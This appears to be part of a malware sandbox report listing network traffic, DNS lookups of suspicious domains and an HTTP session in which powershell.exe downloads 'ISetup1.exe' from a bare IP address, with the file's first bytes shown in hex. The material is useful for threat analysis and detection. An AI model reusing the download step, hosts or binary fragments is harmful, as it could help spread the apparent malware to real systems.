Apr 26, 2024 11:06:10.701020002 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701040030 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701073885 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701109886 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701129913 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701184034 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701222897 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701235056 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701267004 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701308012 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701337099 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701369047 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701412916 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701421976 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701472044 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701519966 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701524973 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701852083 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701893091 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.701905012 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701920986 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.701958895 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702029943 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702042103 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702079058 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702104092 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702174902 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702204943 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702214956 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702240944 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702277899 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702296972 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702353954 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702392101 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702409983 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702457905 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702497005 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702502966 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702543020 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702580929 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702589989 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702653885 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702692986 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702702045 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702760935 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702800035 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.702802896 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702857018 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702896118 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.702898026 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.703018904 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.703057051 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.703062057 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.703172922 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.703188896 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.703212976 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.705416918 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.711467028 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:10.852209091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852230072 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852242947 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852257013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852269888 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852308989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852324963 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852323055 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852339029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852353096 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852358103 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852366924 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852380037 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852392912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852405071 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852407932 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852420092 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852432013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852436066 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852464914 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852468014 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852478981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852494001 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852504969 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852507114 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852519989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852531910 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852536917 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852545023 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852550983 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852557898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852571011 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852588892 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852591991 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852605104 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852612972 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852618933 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852632046 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.852643967 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852674007 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.852916956 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853187084 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853199959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853308916 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853322029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853347063 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.853507042 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853521109 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853560925 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.853641033 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853787899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853826046 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.853980064 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.853993893 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854031086 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854161978 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854173899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854191065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854202986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854211092 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854216099 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854229927 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854243994 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854247093 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854264021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854264021 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854279041 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854280949 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854316950 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854321957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854382038 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854417086 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854446888 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854502916 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854540110 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854548931 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854607105 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854645014 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854661942 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854706049 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.854743004 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.854789972 CEST	80	49713	176.97.76.106	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 11:05:56.160173893 CEST	192.168.2.5	1.1.1.1	0x6c36	Standard query (0)	dsepc5ud74wta.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:03.475317001 CEST	192.168.2.5	1.1.1.1	0xd04f	Standard query (0)	240216234727901.mjj.xne26.cfd	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:06.991856098 CEST	192.168.2.5	1.1.1.1	0xf467	Standard query (0)	note.padd.cn.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:09.068142891 CEST	192.168.2.5	1.1.1.1	0xfe10	Standard query (0)	monoblocked.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:10.729130983 CEST	192.168.2.5	1.1.1.1	0x4c6f	Standard query (0)	c.574859385.xyz	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:22.123464108 CEST	192.168.2.5	1.1.1.1	0x10b2	Standard query (0)	svc.iolo.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:29.246865034 CEST	192.168.2.5	1.1.1.1	0x7dba	Standard query (0)	download.iolo.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:47.671674013 CEST	192.168.2.5	1.1.1.1	0xdb32	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:48.720985889 CEST	192.168.2.5	1.1.1.1	0x5b71	Standard query (0)	helsinki-dtc.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:49.417467117 CEST	192.168.2.5	1.1.1.1	0xb0a4	Standard query (0)	skrptfiles.tracemonitors.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:56.517333031 CEST	192.168.2.5	1.1.1.1	0x5ff9	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:57.845968008 CEST	192.168.2.5	1.1.1.1	0x6070	Standard query (0)	helsinki-dtc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 11:05:56.337518930 CEST	1.1.1.1	192.168.2.5	0x6c36	No error (0)	dsepc5ud74wta.cloudfront.net		13.249.105.199	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:05:56.337518930 CEST	1.1.1.1	192.168.2.5	0x6c36	No error (0)	dsepc5ud74wta.cloudfront.net		13.249.105.51	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:05:56.337518930 CEST	1.1.1.1	192.168.2.5	0x6c36	No error (0)	dsepc5ud74wta.cloudfront.net		13.249.105.33	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:05:56.337518930 CEST	1.1.1.1	192.168.2.5	0x6c36	No error (0)	dsepc5ud74wta.cloudfront.net		13.249.105.167	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:04.006464958 CEST	1.1.1.1	192.168.2.5	0xd04f	Server failure (2)	240216234727901.mjj.xne26.cfd	none	none	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:07.924091101 CEST	1.1.1.1	192.168.2.5	0xf467	No error (0)	note.padd.cn.com		176.97.76.106	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:09.514281988 CEST	1.1.1.1	192.168.2.5	0xfe10	No error (0)	monoblocked.com		45.130.41.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:11.160403013 CEST	1.1.1.1	192.168.2.5	0x4c6f	No error (0)	c.574859385.xyz		37.221.125.202	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:22.265748978 CEST	1.1.1.1	192.168.2.5	0x10b2	No error (0)	svc.iolo.com		20.157.87.45	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:29.375369072 CEST	1.1.1.1	192.168.2.5	0x7dba	No error (0)	download.iolo.net	iolo0.b-cdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 11:06:29.375369072 CEST	1.1.1.1	192.168.2.5	0x7dba	No error (0)	iolo0.b-cdn.net		195.181.163.196	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:48.046655893 CEST	1.1.1.1	192.168.2.5	0xdb32	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 11:06:48.046655893 CEST	1.1.1.1	192.168.2.5	0xdb32	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:48.046655893 CEST	1.1.1.1	192.168.2.5	0xdb32	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:48.846653938 CEST	1.1.1.1	192.168.2.5	0x5b71	No error (0)	helsinki-dtc.com		194.67.87.38	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:49.689435005 CEST	1.1.1.1	192.168.2.5	0xb0a4	No error (0)	skrptfiles.tracemonitors.com	d1u0l9f6kr1di3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 11:06:49.689435005 CEST	1.1.1.1	192.168.2.5	0xb0a4	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.32.87.18	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:49.689435005 CEST	1.1.1.1	192.168.2.5	0xb0a4	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.32.87.64	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:49.689435005 CEST	1.1.1.1	192.168.2.5	0xb0a4	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.32.87.24	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:49.689435005 CEST	1.1.1.1	192.168.2.5	0xb0a4	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.32.87.38	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:57.164505959 CEST	1.1.1.1	192.168.2.5	0x5ff9	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 11:06:57.164505959 CEST	1.1.1.1	192.168.2.5	0x5ff9	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:57.164505959 CEST	1.1.1.1	192.168.2.5	0x5ff9	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
Apr 26, 2024 11:06:57.971873045 CEST	1.1.1.1	192.168.2.5	0x6070	No error (0)	helsinki-dtc.com		194.67.87.38	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	185.172.128.59	80	5040	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:00.261848927 CEST	75	OUT	GET /ISetup1.exe HTTP/1.1 Host: 185.172.128.59 Connection: Keep-Alive
Apr 26, 2024 11:06:00.501694918 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:00 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 26 Apr 2024 09:00:02 GMT ETag: "6e801-616fc210d74f7" Accept-Ranges: bytes Content-Length: 452609 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 d0 c0 c8 ed b1 ae 9b ed b1 ae 9b ed b1 ae 9b e0 e3 71 9b f1 b1 ae 9b e0 e3 4e 9b 92 b1 ae 9b e0 e3 4f 9b c2 b1 ae 9b e4 c9 3d 9b ee b1 ae 9b ed b1 af 9b 81 b1 ae 9b 58 2f 4b 9b ec b1 ae 9b e0 e3 75 9b ec b1 ae 9b 58 2f 70 9b ec b1 ae 9b 52 69 63 68 ed b1 ae 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ac 07 8b 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 02 01 00 00 bc c4 03 00 00 00 00 57 44 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 c5 03 00 04 00 00 90 72 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 83 01 00 28 00 00 00 00 60 c4 03 79 6a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 c5 03 80 13 00 00 f0 21 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 78 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 00 01 00 00 10 00 00 00 02 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 6c 00 00 00 20 01 00 00 6e 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 cd c2 03 00 90 01 00 00 f4 03 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 79 6a 01 00 00 60 c4 03 00 6c 01 00 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 d0 c5 03 00 14 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$qNO=X/KuX/pRichPELcWD @r(`yj!8x@ \|.text5 `.rdatabl n@@.datat@.rsrcyj`lh@@.reloc@B
Apr 26, 2024 11:06:00.501713991 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 2c 4c 04 04 e8 75 02 00 00 68 2b 10 41 00 e8 4f 2e 00 00 59 c3 b9 34 4c 04 04 e8 c8 02 00 00 68 21 10 41 00 e8 39 Data Ascii: ,Luh+AO.Y4Lh!A9.Y LhA#.Yj(LjLj0Lj$LUQQL$$x]E]UQQQQ$&]EYY]U
Apr 26, 2024 11:06:00.501732111 CEST	1289	IN	Data Raw: f8 03 45 d8 33 c1 89 4d fc 8b 0d 10 4c 04 04 c7 05 08 4c 04 04 ee 3d ea f4 89 45 f8 81 f9 13 02 00 00 75 69 53 53 53 ff 15 14 20 41 00 53 53 53 53 53 53 ff 15 4c 20 41 00 53 53 ff 15 34 20 41 00 8d 45 c8 50 ff 15 0c 20 41 00 53 53 53 ff 15 2c 20 Data Ascii: E3MLL=EuiSSS ASSSSSSL ASS4 AEP ASSS, APS ASS AEPSEPS@ ASSSST AEL+}uS AEEE]EEEEEEMEEEEMU3E3U:UGaU
Apr 26, 2024 11:06:00.501750946 CEST	1289	IN	Data Raw: 01 f7 64 24 08 8b 44 24 08 81 44 24 14 d3 e7 f7 2c 81 44 24 08 0c 2c e9 27 81 6c 24 08 c0 09 e3 12 b8 b9 73 87 5a f7 64 24 24 8b 44 24 24 81 6c 24 20 c1 62 43 20 81 6c 24 08 08 30 ca 11 b8 97 8c fa 72 f7 64 24 0c 8b 44 24 0c b8 80 b4 ab 2f f7 64 Data Ascii: d$D$D$,D$,'l$sZd$$D$$l$ bC l$0rd$D$/d$D$$3d$D$ d$D$D$3gD$Nd$D$l$ \|yHl$Nl$}7d$D$l$Iip0yd$D$oS@d$D$D$axl$#MD$$fvD$4R
Apr 26, 2024 11:06:00.501807928 CEST	1289	IN	Data Raw: 79 14 10 72 09 8b 09 e8 22 05 00 00 8b c8 8b c1 c3 55 8b ec 51 ff 31 8b 4d 08 e8 5c 02 00 00 8b 45 08 5d c2 04 00 e9 ed 01 00 00 56 51 8b f1 e8 22 02 00 00 8b c6 5e c2 04 00 ff 31 e8 2a 02 00 00 c3 55 8b ec 56 57 8b 7d 08 8b f1 57 e8 5a 01 00 00 Data Ascii: yr"UQ1M\E]VQ"^1*UVW}WZtu+WVq.jutuWPu_^]UEV9FrPh^]&USVW}^;rCM+;wW%t(U+
Apr 26, 2024 11:06:00.501830101 CEST	1289	IN	Data Raw: 30 5e 5b 5d c2 08 00 55 8b ec 56 8b f1 8b 4d 0c e8 d9 00 00 00 8b 55 08 8b ce 50 e8 d1 00 00 00 5e 5d c2 08 00 8b c1 c3 8b c1 c3 8b c1 c3 55 8b ec 8b 4d 0c e8 d8 00 00 00 8b 55 08 50 e8 d2 00 00 00 5d c2 08 00 33 c0 85 c9 74 15 83 f9 ff 77 0b 51 Data Ascii: 0^[]UVMUP^]UMUP]3twQYujYVW~%+rG_F^hxAUUUUVuueMPJPG^]U
Apr 26, 2024 11:06:00.501842022 CEST	1289	IN	Data Raw: 66 0f 6f e0 66 0f 3a 0f c2 08 66 0f 7f 47 10 66 0f 6f cd 66 0f 3a 0f ec 08 66 0f 7f 6f 20 8d 7f 30 7d b7 8d 76 08 eb 56 66 0f 6f 4e fc 8d 76 fc 8b ff 66 0f 6f 5e 10 83 e9 30 66 0f 6f 46 20 66 0f 6f 6e 30 8d 76 30 83 f9 30 66 0f 6f d3 66 0f 3a 0f Data Ascii: fof:fGfof:fo 0}vVfoNvfo^0foF fon0v00fof:ffof:fGfof:fo 0}v\|ovfsvs~vf@ur$*@r
Apr 26, 2024 11:06:00.501852989 CEST	1289	IN	Data Raw: cc cc cc cc cc ba d0 30 41 00 e9 81 1f 00 00 ba d0 30 41 00 e9 fc 1e 00 00 55 8b ec 56 8b f1 8b 4d 08 c6 46 0c 00 85 c9 75 66 57 e8 63 2f 00 00 8b f8 89 7e 08 8b 57 6c 89 16 8b 4f 68 89 4e 04 3b 15 14 98 41 00 74 11 a1 d8 98 41 00 85 47 70 75 07 Data Ascii: 0A0AUVMFufWc/~WlOhN;AtAGpu%F_;AtNAApuH)FNApuApFAF^]Ujuu]UVuu""S]vm"
Apr 26, 2024 11:06:00.501877069 CEST	1289	IN	Data Raw: e9 02 83 e2 03 83 f9 08 72 2a f3 a5 ff 24 95 38 34 40 00 90 8b c7 ba 03 00 00 00 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 4c 33 40 00 ff 24 8d 48 34 40 00 90 ff 24 8d cc 33 40 00 90 5c 33 40 00 88 33 40 00 ac 33 40 00 23 d1 8a 06 88 07 8a 46 01 88 Data Ascii: r*$84@r$L3@$H4@$3@\3@3@3@#FGFGr$84@I#FGr$84@#r$84@I/4@4@4@4@4@3@3@3@DDDDDDD
